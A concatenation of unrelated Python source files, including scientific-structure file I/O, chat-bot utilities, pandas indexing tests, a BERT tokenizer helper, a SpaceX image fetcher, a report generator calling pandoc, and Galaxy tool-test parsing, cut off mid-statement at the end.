self._simulation_cell = simulation_cell self._probabilities = probabilities if vectors is None: vectors = np.identity(3) self._vectors = vectors super().__init__(filepath) @property def simulation_cell(self) -> SimulationCell: if self._simulation_cell is None: cm = self.lines[:3] cm = [np.fromstring(row, sep=" ") for row in cm] positions = [" ".join(l.split()[:3]) for l in self.lines[6:]] positions_arr = [np.fromstring(p, sep=" ") for p in positions] atoms = [] for p in positions_arr: atoms.append(Atom(position=p)) simulation_cell = SimulationCell(atoms, np.array(cm)) self._simulation_cell = simulation_cell return self._simulation_cell @simulation_cell.setter def simulation_cell(self, value: SimulationCell) -> None: self._simulation_cell = value @property def probabilities(self) -> List[Dict[str, float]]: if self._probabilities is None: probabilities = [l.split()[3] for l in self.lines[6:]] probabilities_split = [p.split(",") for p in probabilities] formatted_probabilities = [] for probability in probabilities_split: d = {} for prob in probability: symbol, value = prob.split("=") d[symbol] = float(value) formatted_probabilities.append(d) self._probabilities = formatted_probabilities return self._probabilities @probabilities.setter def probabilities(self, value: List[Dict[str, float]]) -> None: self._probabilities = value @property def vectors(self) -> np.ndarray: if self._vectors is None: vectors = self.lines[3:6] self._vectors = np.array( [np.fromstring(vec, sep=" ") for vec in vectors]) return self._vectors @vectors.setter def vectors(self, value: np.ndarray) -> None: self._vectors = value def write(self, path: Optional[str] = None) -> None: """Writes a rndstr.in file. Args: path: The filepath to write to. """ if path is None: path = self.filepath with open(path, "w") as f: for row in self.simulation_cell.coordinate_matrix: row = " ".join(row.astype(str)) f.write("{}\n".format(row)) for row in self.vectors: row = " ".join(row.astype(str)) f.write("{}\n".format(row)) zipper = zip(self.simulation_cell.positions, self.probabilities) for position, probability in zipper: position_str = " ".join(position.astype(str)) prob_str = ",".join( ["{}={}".format(k, v) for k, v in probability.items()]) f.write("{} {}\n".format(position_str, prob_str)) """util.py Various internal utilities for ZeroBot. If you're working on a feature module, you *probably* want `ZeroBot.common` instead. """ from __future__ import annotations import operator from functools import reduce from io import StringIO from typing import Any, Iterable, Mapping, Union def gen_repr(obj: Any, attrs: Iterable, **kwargs) -> str: """Generates a __repr__ string. Used to create consistent `__repr__` methods throughout ZeroBot's codebase and modules. Parameters ---------- obj : Any object A reference to an object whose class this repr is for. attrs : Any iterable An iterable containing attribute names that should be included in the `__repr__` string. kwargs Any extra keyword arguments are included as extra attributes. Returns ------- str A string suitable to return from the class's `__repr__` method. """ name = obj.__class__.__name__ body = ' '.join(f'{attr}={getattr(obj, attr)!r}' for attr in attrs) if kwargs: extras = ' '.join(f'{attr}={val!r}' for attr, val in kwargs.items()) body += ' ' + extras return f'<{name} {body}>' def map_reduce(key_path: Union[str, list[str]], mapping: Mapping[str, Any]) -> Any: """Reduce a mapping, returning a value from an arbitrarily deep hierarcy. The result of calling this function is the same as successively subscripting each key in the `key_path`, starting from `mapping`. Parameters ---------- key_path : str or list[str] A collection of sequential child keys into `mapping`. May be given as either a list of strings or a single string with dots (``.``) delimiting keys. mapping : Mapping[str, Any] The mapping to subscript. Example ------- The following lines are equivalent: map_reduce('foo.bar.baz', things) # Is the same as: map_reduce(['foo', 'bar', 'baz'], things) # Is the same as: things['foo']['bar']['baz'] """ if isinstance(key_path, str): key_path = key_path.split('.') return reduce(operator.getitem, key_path, mapping) def flatten(iterable): """Simple generator that flattens nested lists and tuples.""" for elem in iterable: if isinstance(elem, (list, tuple)): yield from elem else: yield elem def shellish_split(string: str) -> list[str]: """Perform shell-like word splitting on the given string. A bit more arbitrary and simplistic compared to ``shlex``, as it does *too* much for ZeroBot's command needs. Only a limited set of escape sequences have an effect, the rest are ignored and left as-is. Only double-quotes group arguments, as apostrophes are very common in chat. """ words = [] escaped = False quoted = False with StringIO(string) as buffer, StringIO() as word: while char := buffer.read(1): if char == '"': if escaped: word.write(char) escaped = False else: quoted = not quoted elif char == '\\': if escaped: word.write(char) escaped = not escaped elif char == ' ': if escaped or quoted: word.write(char) escaped = False else: words.append(word.getvalue()) word.seek(0) word.truncate() else: if escaped: # Only interested in certain escapes, so the backslash # stays in the string. word.write('\\') escaped = False word.write(char) if quoted: raise ValueError("Unclosed quote") if escaped: # Include trailing backslash word.write('\\') words.append(word.getvalue()) return words import numpy as np import pytest from pandas.compat import lrange import pandas as pd from pandas import Series, Timestamp from pandas.util.testing import assert_series_equal @pytest.mark.parametrize("val,expected", [ (2**63 - 1, 3), (2**63, 4), ]) def test_loc_uint64(val, expected): # see gh-19399 s = Series({2**63 - 1: 3, 2**63: 4}) assert s.loc[val] == expected def test_loc_getitem(test_data): inds = test_data.series.index[[3, 4, 7]] assert_series_equal( test_data.series.loc[inds], test_data.series.reindex(inds)) assert_series_equal(test_data.series.iloc[5::2], test_data.series[5::2]) # slice with indices d1, d2 = test_data.ts.index[[5, 15]] result = test_data.ts.loc[d1:d2] expected = test_data.ts.truncate(d1, d2) assert_series_equal(result, expected) # boolean mask = test_data.series > test_data.series.median() assert_series_equal(test_data.series.loc[mask], test_data.series[mask]) # ask for index value assert test_data.ts.loc[d1] == test_data.ts[d1] assert test_data.ts.loc[d2] == test_data.ts[d2] def test_loc_getitem_not_monotonic(test_data): d1, d2 = test_data.ts.index[[5, 15]] ts2 = test_data.ts[::2][[1, 2, 0]] msg = r"Timestamp\('2000-01-10 00:00:00'\)" with pytest.raises(KeyError, match=msg): ts2.loc[d1:d2] with pytest.raises(KeyError, match=msg): ts2.loc[d1:d2] = 0 def test_loc_getitem_setitem_integer_slice_keyerrors(): s = Series(np.random.randn(10), index=lrange(0, 20, 2)) # this is OK cp = s.copy() cp.iloc[4:10] = 0 assert (cp.iloc[4:10] == 0).all() # so is this cp = s.copy() cp.iloc[3:11] = 0 assert (cp.iloc[3:11] == 0).values.all() result = s.iloc[2:6] result2 = s.loc[3:11] expected = s.reindex([4, 6, 8, 10]) assert_series_equal(result, expected) assert_series_equal(result2, expected) # non-monotonic, raise KeyError s2 = s.iloc[lrange(5) + lrange(5, 10)[::-1]] with pytest.raises(KeyError, match=r"^3L?$"): s2.loc[3:11] with pytest.raises(KeyError, match=r"^3L?$"): s2.loc[3:11] = 0 def test_loc_getitem_iterator(test_data): idx = iter(test_data.series.index[:10]) result = test_data.series.loc[idx] assert_series_equal(result, test_data.series[:10]) def test_loc_setitem_boolean(test_data): mask = test_data.series > test_data.series.median() result = test_data.series.copy() result.loc[mask] = 0 expected = test_data.series expected[mask] = 0 assert_series_equal(result, expected) def test_loc_setitem_corner(test_data): inds = list(test_data.series.index[[5, 8, 12]]) test_data.series.loc[inds] = 5 msg = r"\['foo'\] not in index" with pytest.raises(KeyError, match=msg): test_data.series.loc[inds + ['foo']] = 5 def test_basic_setitem_with_labels(test_data): indices = test_data.ts.index[[5, 10, 15]] cp = test_data.ts.copy() exp = test_data.ts.copy() cp[indices] = 0 exp.loc[indices] = 0 assert_series_equal(cp, exp) cp = test_data.ts.copy() exp = test_data.ts.copy() cp[indices[0]:indices[2]] = 0 exp.loc[indices[0]:indices[2]] = 0 assert_series_equal(cp, exp) # integer indexes, be careful s = Series(np.random.randn(10), index=lrange(0, 20, 2)) inds = [0, 4, 6] arr_inds = np.array([0, 4, 6]) cp = s.copy() exp = s.copy() s[inds] = 0 s.loc[inds] = 0 assert_series_equal(cp, exp) cp = s.copy() exp = s.copy() s[arr_inds] = 0 s.loc[arr_inds] = 0 assert_series_equal(cp, exp) inds_notfound = [0, 4, 5, 6] arr_inds_notfound = np.array([0, 4, 5, 6]) msg = r"\[5\] not contained in the index" with pytest.raises(ValueError, match=msg): s[inds_notfound] = 0 with pytest.raises(Exception, match=msg): s[arr_inds_notfound] = 0 # GH12089 # with tz for values s = Series(pd.date_range("2011-01-01", periods=3, tz="US/Eastern"), index=['a', 'b', 'c']) s2 = s.copy() expected = Timestamp('2011-01-03', tz='US/Eastern') s2.loc['a'] = expected result = s2.loc['a'] assert result == expected s2 = s.copy() s2.iloc[0] = expected result = s2.iloc[0] assert result == expected s2 = s.copy() s2['a'] = expected result = s2['a'] assert result == expected from transformers import BertTokenizer import re zh_pattern = re.compile(u'[\u4e00-\u9fa5]+') def contain_zh(word): ''' 判断传入字符串是否包含中文 :param word: 待判断字符串 :return: True:包含中文 False:不包含中文 ''' # word = word.decode() global zh_pattern match = zh_pattern.search(word) return match class BertTokenHelper(object): def __init__(self, bert_vocab_file): # self.tokenizer = BertTokenizer.from_pretrained(bert_vocab_file, force_download=True) self.tokenizer = BertTokenizer.from_pretrained(bert_vocab_file) print("Load bert vocabulary finished") def word_len_of(self, text_list): length = [] for word in text_list: # word = word.lower() # if word == '超过': # print() if contain_zh(word): length.append(len(word)) else: # ('a' <= word[0] and word[0] <= 'z') or word.isdigit() length.append(1) return length def filt(self, text_list): new_text_list = [] if contain_zh(''.join(text_list)): for elem in text_list: elem = elem.lower() if elem in ['.', ',', '。', '，', '!', '！', '？', '?', ':', '：', '（', '）']: new_text_list.append(elem) elif contain_zh(elem): new_text_list.append(elem) else: new_text_list.append('x') else: for elem in text_list: for char in ["'", ",", ":", "", '/', '//', '\\\\', '\\', "$", "*", '@', '.', '_', '&', '--', '-', '``', '`', '``', '`', '‘', '’', '+']: if len(elem) != 1 and char in elem: elem = elem.replace(char, '') if len(elem) == 0: elem = 'x' new_text_list.append(elem) # new_text_list = text_list return new_text_list def bert_ids(self, text_list): assert type(text_list) is list # print(text_list) text_list = self.filt(text_list) text = ' '.join(text_list) word_length_list = self.word_len_of(text_list) outputs = self.tokenizer.encode_plus(text, add_special_tokens=True, return_tensors='pt') bert_indice = outputs["input_ids"].squeeze() segments_id = outputs["token_type_ids"].squeeze() list_bert_indice = [idx.item() for idx in bert_indice] list_segments_id = [idx.item() for idx in segments_id] bert_tokens = self.tokenizer.convert_ids_to_tokens(list_bert_indice) tokens = self.tokenizer.convert_tokens_to_string(bert_tokens) # print(bert_tokens) # print(tokens) # print(word_length_list) list_piece_id = [] sub_index = 0 word_count = 0 # in_word_flag = False for idx, bpe_u in enumerate(bert_tokens): if idx == 0: list_piece_id.append([idx]) elif idx == len(bert_tokens) - 1: list_piece_id.append([idx]) else: if not bpe_u.startswith('##') and sub_index == word_length_list[word_count]: # print(word_count) word_count += 1 sub_index = 0 if sub_index == 0: list_piece_id.append([idx]) else: list_piece_id[-1].append(idx) # in_word_flag = True if bpe_u.startswith('##'): continue else: sub_index += 1 # if bpe_u.startswith('##'): # in_word_flag = False # elif bpe_u == '': # sub_index += 1 # else: # sub_index += 1 # list_piece_id = [] # for idx, bpe_u in enumerate(bert_tokens): # if bpe_u.startswith("##"): # tok_len = len(list_piece_id) # list_piece_id[tok_len-1].append(idx) # else: # list_piece_id.append([idx]) return list_bert_indice, list_segments_id, list_piece_id # bert_token = BertTokenHelper('bert-base-multilingual-cased') # bert_token.bert_ids(['He','likes','singing']) # bert_token.bert_ids(['我','爱','这个','世界','singing!']) fetch_spacex.py import os import requests from file_handler import download_image, get_filename def fetch_spacex_last_launch(path_to_save='images/', index_of_launch=13): spacex_api_url = 'https://api.spacexdata.com/v4/launches/' os.makedirs(path_to_save, exist_ok=True) responce = requests.get(spacex_api_url) responce.raise_for_status() launch_spacex = responce.json()[index_of_launch] if 'links' in launch_spacex: for url in launch_spacex['links']['flickr']['original']: download_image(get_filename(url), url, path_to_save) def main(): fetch_spacex_last_launch() if __name__ == "__main__": main() from Ex20EdgeWeightedDigraph import EdgeWeightedDigraph from Ex19DirectedEdge import DirectedEdge from Ex22TopologicalEWD import TopologicalEWD class TopologicalSortestPath: def __init__(self, digraph, source): self.edge_to = [None] * digraph.get_v() self.dist_to = [float('inf')] * digraph.get_v() marked = [False] * digraph.get_v() self.dist_to[source] = 0.0 topological = TopologicalEWD(digraph) for v in topological.order(): marked[v] = True for edge in digraph.get_adj(v): if not marked[edge.to_v()]: self.relax(edge) def path_to(self, v): if self.edge_to[v] is not None: for path in self.path_to(self.edge_to[v].from_v()): yield path yield self.edge_to[v] def has_path_to(self, v): return self.edge_to[v] is not None def relax(self, edge): v = edge.from_v() w = edge.to_v() if self.dist_to[v] + edge.weight < self.dist_to[w]: self.dist_to[w] = self.dist_to[v] + edge.weight self.edge_to[w] = edge def test_topological_sortest_path(): digraph = EdgeWeightedDigraph(0) digraph.init_from('tinyEWD.txt') print() print(digraph) sp = TopologicalSortestPath(digraph, 0) for v in range(digraph.get_v()): builder = f'Has path to {v}? {sp.has_path_to(v)}' if sp.has_path_to(v): builder += f' dist: {round(sp.dist_to[v], 2)} path:' for path in sp.path_to(v): builder += f'\n\t{path}' print(builder) if __name__ == '__main__': test_topological_sortest_path() refitt/reftests/integration/test_database/test_model/__init__.py # SPDX-FileCopyrightText: 2019-2021 REFITT Team # SPDX-License-Identifier: Apache-2.0 """Database model integration tests.""" # standard libs import json def json_roundtrip(data: dict) -> dict: """Input `data` is returned after JSON dump/load round trip.""" return json.loads(json.dumps(data)) # TODO: TestModelType # TODO: TestModel skreimeyer/NPDES-Report0 #! /usr/bin/env python3 """ Generates a markdown-formatted report from the templates directory using data from the report-data.yml file in the data folder. Nothing more, nothing less. """ from jinja2 import FileSystemLoader, Environment import yaml import csv import os import subprocess import pdb environment = Environment(loader=FileSystemLoader("../templates")) # Custom slugify filter def slugify(text): """replaces white-space separation with hyphens""" return "-".join(text.split()) def maketable(tablemeta): """must only accept dictionary objects which possess the 'filename' key""" filename = tablemeta['filename'] outputs = [] with open(filename,'r') as csvfile: data = [row for row in csv.reader(csvfile)] title = tablemeta['title'] slugged = slugify(title) title_heading = f'### {title}' headers = "| "+" | ".join([h for h in data[0]])+" |" border = "|"+"----------|"*len(data[0]) outputs = [title_heading,headers,border] for row in data[1:]: outputs.append("| "+" | ".join([d for d in row])+" |") outputs.append(f'\nTable {tablemeta["index"]}: {tablemeta["caption"]}') return '\n'.join(outputs) # register the filter environment.filters["slugify"] = slugify environment.filters["maketable"] = maketable # load reporting data with open("../data/report-data.yml", "r") as infile: report_data = yaml.load(infile) # load template template = environment.get_template("narrative.tmpl") # render and write to narrative.md in the report folder with open("../report/narrative.md", "w") as outfile: outfile.write(template.render(report_data)) templateC = environment.get_template("appendixC.tmpl") # render and write to appendixC.md in the report folder with open("../report/appendixC.md", "w") as outfile: outfile.write(templateC.render(report_data)) # load education data with open("../data/education-data.yml","r") as infile: education_data = yaml.load(infile) templateD = environment.get_template("appendixD.tmpl") # render and write to appendixD.md in the report folder with open("../report/appendixD.md", "w") as outfile: outfile.write(templateD.render(education_data)) # fetch all radar chart images. radar_imgs = {'images':[i for i in os.listdir("../figures") if "radar" in i]} templateE = environment.get_template("appendixE.tmpl") # render and write to appendixE.md in the report folder with open("../report/appendixE.md", "w") as outfile: outfile.write(templateE.render(radar_imgs)) # fetch all time-series chart images. time_imgs = {'images':[i for i in os.listdir("../figures") if "time" in i]} templateF = environment.get_template("appendixF.tmpl") # render and write to appendixF.md in the report folder with open("../report/appendixF.md", "w") as outfile: outfile.write(templateF.render(time_imgs)) # fetch all regional box plot images. seasonal_images = {'images':[i for i in os.listdir("../figures") if "seasonal" in i]} templateG = environment.get_template("appendixG.tmpl") # render and write to appendixE.md in the report folder with open("../report/appendixG.md", "w") as outfile: outfile.write(templateG.render(seasonal_images)) # fetch all seasonal box plot images. regional_images = {'images':[i for i in os.listdir("../figures") if "regional" in i]} templateH = environment.get_template("appendixH.tmpl") # render and write to appendixE.md in the report folder with open("../report/appendixH.md", "w") as outfile: outfile.write(templateH.render(regional_images)) # We're done with markdown. Call pandoc, generate pdfs and merge into top level wd = os.path.join(os.path.dirname(os.getcwd()),'report') # we can't do directory transversal with the cwd kwarg targets = [ 'narrative.md', 'appendixC.md', 'appendixD.md', 'appendixE.md', 'appendixF.md', 'appendixG.md', 'appendixH.md' ] subprocess.run(["pwd"],cwd=wd) for t in targets: outputname = t.split('.')[0]+'.pdf' try: subprocess.run(["pandoc",f'{t}','-o',f'tmp/{outputname}'], cwd=wd) print(f'Wrote {outputname}') except: print(f'Failed to write component pdf file {outputname}') # pdb.set_trace() all_pdfs = [f'tmp/{f}' for f in sorted(os.listdir('../report/tmp'))] # move narrative to the front all_pdfs.insert(0,all_pdfs.pop()) pdfunite_args = ['pdfunite']+all_pdfs+['../report.pdf'] try: subprocess.run(pdfunite_args, cwd=wd) print('PDFs merged . . . exiting') except: print("Failed to merge pdfs") quit(0) import logging import os import os.path from six import string_types import galaxy.tools.parameters.basic import galaxy.tools.parameters.grouping from galaxy.util import string_as_bool try: from nose.tools import nottest except ImportError: def nottest(x): return x log = logging.getLogger( __name__ ) DEFAULT_FTYPE = 'auto' DEFAULT_DBKEY = 'hg17' DEFAULT_INTERACTOR = "api" # Default mechanism test code uses for interacting with Galaxy instance. DEFAULT_MAX_SECS = None @nottest def parse_tests(tool, tests_source): """ Build ToolTestBuilder objects for each "" elements and return default interactor (if any). """ default_interactor = os.environ.get( 'GALAXY_TEST_DEFAULT_INTERACTOR', DEFAULT_INTERACTOR ) tests_dict = tests_source.parse_tests_to_dict() tests_default_interactor = tests_dict.get( 'interactor', default_interactor ) tests = [] for i, test_dict in enumerate(tests_dict.get('tests', [])): test = ToolTestBuilder( tool, test_dict, i, default_interactor=tests_default_interactor ) tests.append( test ) return tests class ToolTestBuilder( object ): """ Encapsulates information about a tool test, and allows creation of a dynamic TestCase class (the unittest framework is very class oriented, doing dynamic tests in this way allows better integration) """ def __init__( self, tool, test_dict, i, default_interactor ): name = test_dict.get( 'name', 'Test-%d' % (i + 1) ) maxseconds = test_dict.get( 'maxseconds', DEFAULT_MAX_SECS ) if maxseconds is not None: maxseconds = int( maxseconds ) self.tool = tool self.name = name self.maxseconds = maxseconds self.required_files = [] self.inputs = {} self.outputs = [] # By default do not making assertions on number of outputs - but to # test filtering allow explicitly state number of outputs. self.num_outputs = None self.error = False self.exception = None self.__handle_test_dict( test_dict, i, default_interactor ) def test_data( self ): """ Iterator over metadata representing the required files for upload. """ return test_data_iter( self.required_files ) def __matching_case_for_value( self, cond, declared_value ): test_param = cond.test_param if isinstance(test_param, galaxy.tools.parameters.basic.BooleanToolParameter): if declared_value is None: # No explicit value for param in test case, determine from default query_value = test_param.checked else: query_value = _process_bool_param_value( test_param, declared_value ) def matches_declared_value(case_value): return _process_bool_param_value( test_param, case_value ) == query_value elif isinstance(test_param, galaxy.tools.parameters.basic.SelectToolParameter): if declared_value is not None: # Test case supplied explicit value to check against. def matches_declared_value(case_value): return case_value == declared_value elif test_param.static_options: # No explicit value in test case, not much to do if options are dynamic but # if static options are available can find the one specified as default or # fallback on top most option (like GUI). for (name, value, selected) in test_param.static_options: if selected: default_option = name else: first_option = test_param.static_options[0] first_option_value = first_option[1] default_option = first_option_value def matches_declared_value(case_value): return case_value == default_option else: # No explicit value for this param and cannot determine a # default - give up. Previously this would just result in a key # error exception. msg = "Failed to find test parameter value specification required for conditional %s" % cond.name raise Exception( msg ) # Check the tool's defined cases against predicate to determine # selected or default. for i, case in enumerate( cond.cases ): if matches_declared_value( case.value ): return case else: msg_template = "%s - Failed to find case matching value (%s) for test parameter specification for conditional %s. Remainder of test behavior is unspecified." msg = msg_template % ( self.tool.id, declared_value, cond.name ) log.info( msg ) def __split_if_str( self, value ): split = isinstance(value, string_types) if split: value = value.split(",") return value def __handle_test_dict( self, test_dict, i, default_interactor ): try: # Mechanism test code uses for interacting with Galaxy instance, # until 'api' is the default switch this to API to use its new # features. Once 'api' is the default set to 'twill' to use legacy # features or workarounds. self.interactor = test_dict.get( 'interactor', default_interactor ) self.inputs = self.__process_raw_inputs( self.tool.inputs, test_dict["inputs"] ) self.outputs = test_dict["outputs"] self.output_collections = test_dict["output_collections"] num_outputs = test_dict.get( 'expect_num_outputs', None ) if num_outputs: num_outputs = int( num_outputs ) self.num_outputs = num_outputs self.command_line = test_dict.get("command", None) self.stdout = test_dict.get("stdout", None) self.stderr = test_dict.get("stderr", None) self.expect_exit_code = test_dict.get("expect_exit_code", None) self.expect_failure = test_dict.get("expect_failure", False) self.md5 = test_dict.get("md5", None) except Exception, e: self.inputs = {} self.error = True self.exception = e def __process_raw_inputs( self, tool_inputs, raw_inputs, parent_context=None ): """ Recursively expand flat list of inputs into "tree" form of flat list (| using to nest to new levels) structure and expand dataset information as proceeding to populate self.required_files. """ parent_context = parent_context or RootParamContext() expanded_inputs = {} for key, value in tool_inputs.items(): if isinstance( value, galaxy.tools.parameters.grouping.Conditional ): cond_context = ParamContext( name=value.name, parent_context=parent_context ) case_context = ParamContext( name=value.test_param.name, parent_context=cond_context ) raw_input = case_context.extract_value( raw_inputs ) case_value = raw_input[ 1 ] if raw_input else None case = self.__matching_case_for_value( value, case_value ) if case: for input_name, input_value in case.inputs.items(): case_inputs = self.__process_raw_inputs( { input_name: input_value }, raw_inputs, parent_context=cond_context ) expanded_inputs.update( case_inputs ) if not value.type == "text": expanded_case_value = self.__split_if_str( case.value ) if case_value is not None: # A bit tricky here - we are growing inputs with value # that may be implicit (i.e. not defined by user just # a default defined in tool). So we do not want to grow # expanded_inputs and risk repeat block viewing this # as a new instance with value defined and hence enter # an infinite loop - hence the "case_value is not None" # check. processed_value = _process_simple_value( value.test_param, expanded_case_value ) expanded_inputs[ case_context.for_state() ] = processed_value elif isinstance( value, galaxy.tools.parameters.grouping.Section ): context = ParamContext( name=value.name, parent_context=parent_context ) for r_name, r_value in value.inputs.iteritems(): expanded_input = self.__process_raw_inputs( { context.for_state(): r_value }, raw_inputs, parent_context=context ) if expanded_input: expanded_inputs.update( expanded_input ) elif isinstance( value, galaxy.tools.parameters.grouping.Repeat ): repeat_index = 0 while True: context = ParamContext( name=value.name, index=repeat_index, parent_context=parent_context ) updated = False for r_name, r_value in value.inputs.iteritems(): expanded_input = self.__process_raw_inputs( { context.for_state(): r_value }, raw_inputs, parent_context=context ) if expanded_input: expanded_inputs.update( expanded_input ) updated = True if not updated: break repeat_index += 1 else: context = ParamContext( name=value.name, parent_context=parent_context ) raw_input = context.extract_value( raw_inputs ) if raw_input: (name, param_value, param_extra) = raw_input if not value.type == "text": param_value = self.__split_if_str( param_value ) if isinstance( value, galaxy.tools.parameters.basic.DataToolParameter ): if not isinstance(param_value, list): param_value = [ param_value ] map( lambda v: self.__add_uploaded_dataset( context.for_state(), v, param_extra, value ), param_value ) processed_value = param_value elif isinstance( value, galaxy.tools.parameters.basic.DataCollectionToolParameter ): assert 'collection' in param_extra collection_def = param_extra[ 'collection' ] for ( name, value, extra ) in collection_def.collect_inputs(): require_file( name, value, extra, self.required_files ) processed_value = collection_def else: processed_value = _process_simple_value( value, param_value ) expanded_inputs[ context.for_state() ] = processed_value return expanded_inputs def __add_uploaded_dataset( self, name, value, extra, input_parameter ): if value is None: assert input_parameter.optional, '%s is not optional. You must provide a valid filename.' % name return value return require_file( name, value, extra, self.required_files ) def _process_simple_value( param, param_value ): if isinstance( param, galaxy.tools.parameters.basic.SelectToolParameter ) and hasattr( param, 'static_options' ): # Tests may specify values as either raw value or the value # as they appear in the list - the API doesn't and shouldn't # accept the text value - so we need to convert the text # into the form value. def process_param_value( param_value ): found_value = False value_for_text = None if param.static_options: for (text, opt_value, selected) in param.static_options: if param_value == opt_value: found_value = True if value_for_text is None and param_value == text: value_for_text = opt_value if not found_value and value_for_text is not None: processed_value = value_for_text else: processed_value = param_value return processed_value # Do replacement described above for lists or singleton # values. if isinstance( param_value, list ): processed_value = map( process_param_value, param_value ) else: processed_value = process_param_value( param_value ) elif isinstance( param, galaxy.tools.parameters.basic.BooleanToolParameter ): # Like above, tests may use the tool define values of simply # true/false. processed_value = _process_bool_param_value( param, param_value ) else: processed_value = param_value return processed_value def _process_bool_param_value( param, param_value ): assert isinstance( param, galaxy.tools.parameters.basic.BooleanToolParameter ) was_list = False if isinstance( param_value, list ): was_list = True param_value = param_value[0] if param.truevalue == param_value: processed_value = True elif param.falsevalue == param_value: processed_value = False else: processed_value = string_as_bool( param_value ) return [ processed_value ] if was_list else processed_value @nottest def test_data_iter( required_files ): for fname, extra in required_files: data_dict = dict( fname=fname, metadata=extra.get( 'metadata', [] ), composite_data=extra.get( 'composite_data', [] ), ftype=extra.get( 'ftype', DEFAULT_FTYPE ), dbkey=extra.get( 'dbkey', DEFAULT_DBKEY ), ) edit_attributes = extra.get( 'edit_attributes', [] ) # currently only renaming is supported for edit_att in edit_attributes: if edit_att.get( 'type', None ) == 'name': new_name = edit_att.get( 'value', None ) assert new_name, 'You must supply the new dataset name as the value tag of the edit_attributes tag' data_dict['name'] = new_name else: raise Exception( 'edit_attributes type (%s) is unimplemented' % edit_att.get( 'type', None ) ) yield data_dict def require_file( name, value, extra, required_files ): if ( value, extra ) not in required_files: required_files.append( ( value, extra ) ) # these files will be uploaded name_change = [ att for att in extra.get( 'edit_attributes', [] ) if att.get( 'type' ) == 'name' ] if name_change: name_change = name_change[-1].get( 'value' ) # only the last name change really matters value = name_change # change value for select to renamed uploaded file for e.g. composite dataset else: for end in [ '.zip', '.gz' ]: if value.endswith( end ): value = value[ :-len( end ) ] break value = os.path.basename( value ) # if uploading a file in a path other than root of test-data return value class ParamContext(object): def __init__( self, name, index=None, parent_context=None ): self.parent_context = parent_context self.name = name self.index = None if index is None else int( index ) def for_state( self ): name = self.name if self.index is None else "%s_%d" % ( self.name, self.index ) parent_for_state = self.parent_context.for_state() if parent_for_state: return "%s|%s" % ( parent_for_state, name ) else: return name def __str__( self ): return "Context[for_state=%s]" % self.for_state() def param_names( self ): for parent_context_param in self.parent_context.param_names(): if self.index is not None: yield "%s|%s_%d" % ( parent_context_param, self.name, self.index ) else: yield "%s|%s" % ( parent_context_param, self.name ) if self.index is not None: yield "%s_%d" % ( self.name, self.index ) else: yield self.name def extract_value( self, raw_inputs ): for param_name in self.param_names(): value = self.__raw_param_found( param_name, raw_inputs) if value: return value return None def __raw_param_found( self, param_name, raw_inputs ): index = None for i, raw_input in enumerate( raw_inputs ): if raw_input[ 0 ] == param_name: index = i if index is not None: raw_input = raw_inputs[ index ] del raw_inputs[ index ] return raw_input else: return None class RootParamContext(object): def __init__( self ): pass def for_state( self ): return "" def param_names( self ): return [] def get_index( self ): return 0 import copy import argparse import json import pickle import torch import torch.nn.functional as F from torch.utils.data import DataLoader import egg.core as core from egg.core import EarlyStopperAccuracy from egg.zoo.compo_vs_generalization.archs import ( Freezer, NonLinearReceiver, PlusOneWrapper, Receiver, Sender, ) from egg.zoo.compo_vs_generalization.data import ( ScaledDataset, enumerate_attribute_value, one_hotify, select_subset_V1, select_subset_V2, split_holdout, split_train_test, ) from egg.zoo.compo_vs_generalization.intervention import Evaluator, Metrics from egg.zoo.compo_vs_generalization.train import * from experiments.loader import * def eval(metadata_path: str): checkpoint_wrapper = load_metadata_from_pkl(metadata_path) params = checkpoint_wrapper['params'] params.append('--load_from_checkpoint={}'.format(checkpoint_wrapper['checkpoint_path'])) main(params, train_mode=False) def get_bc_params(params): parser = argparse.ArgumentParser() parser.add_argument("--n_epochs_bc", type=int, default=10, help="Number of epochs for BC training") parser.add_argument( "--early_stopping_thr_bc", type=float, default=0.99999, help="Early stopping threshold on accuracy (defautl: 0.99999)", ) parser.add_argument( "--save_bc", type=bool, default=False, help="Set True if you want model to be saved", ) args = core.init(arg_parser=parser, params=params) return args def expert_setup(opts): generalization_holdout_loader, uniform_holdout_loader, full_data_loader, train_loader, validation_loader, \ train, validation = load_data(opts) old_sender, old_receiver = define_agents(opts) loss = DiffLoss(opts.n_attributes, opts.n_values) baseline = { "no": core.baselines.NoBaseline, "mean": core.baselines.MeanBaseline, "builtin": core.baselines.BuiltInBaseline, }[opts.baseline] game = core.SenderReceiverRnnReinforce( old_sender, old_receiver, loss, sender_entropy_coeff=opts.sender_entropy_coeff, receiver_entropy_coeff=0.0, length_cost=0.0, baseline_type=baseline, ) optimizer = torch.optim.Adam(game.parameters(), lr=opts.lr) metrics_evaluator = Metrics( validation.examples, opts.device, opts.n_attributes, opts.n_values, opts.vocab_size + 1, freq=opts.stats_freq, ) loaders = [] loaders.append( ( "generalization hold out", generalization_holdout_loader, DiffLoss(opts.n_attributes, opts.n_values, generalization=True), ) ) loaders.append( ( "uniform holdout", uniform_holdout_loader, DiffLoss(opts.n_attributes, opts.n_values), ) ) holdout_evaluator = Evaluator(loaders, opts.device, freq=0) trainer = core.Trainer( game=game, optimizer=optimizer, train_data=train_loader, validation_data=validation_loader, callbacks=[ core.ConsoleLogger(as_json=True, print_train_loss=False), metrics_evaluator, holdout_evaluator ], ) return trainer def main(metadata_path: str, bc_params): bc_args = get_bc_params(bc_params) checkpoint_wrapper = load_metadata_from_pkl(metadata_path) params = checkpoint_wrapper['params'] opts = get_params(params) print('Checkpoint wrapper:', checkpoint_wrapper['checkpoint_path']) # New agents new_sender, new_receiver = define_agents(opts) optimizer_r = torch.optim.Adam(new_receiver.parameters(), lr=opts.lr) optimizer_s = torch.optim.Adam(new_sender.parameters(), lr=opts.lr) # Dataloader trainer = expert_setup(opts) for t in range(bc_args.n_epochs): optimizer_r.zero_grad() optimizer_s.zero_grad() _, interaction = trainer.eval(trainer.train_data) # Receiver loss receiver_output, log_prob_r, entropy_r = new_receiver(interaction.message) batch_size = receiver_output.shape[0] receiver_output = receiver_output.view( batch_size, opts.n_values, opts.n_attributes ) interaction.receiver_output = interaction.receiver_output.view( batch_size, opts.n_values, opts.n_attributes ).argmax(dim=1) # CE loss: https://pytorch.org/docs/stable/generated/torch.nn.CrossEntropyLoss.html on class probabilities. r_loss = F.cross_entropy(receiver_output, interaction.receiver_output) # Sender loss sender_output, log_prob_s, entropy_s, class_proba_s = new_sender(interaction.sender_input) class_proba_s = class_proba_s.reshape( batch_size * opts.max_len, opts.vocab_size ) # remove end token interaction.message = interaction.message[:,:opts.max_len] interaction.message = interaction.message.reshape( batch_size * opts.max_len ) - 1 # reset to 0 - 99; in PlusOneWrapper they add one. s_loss = 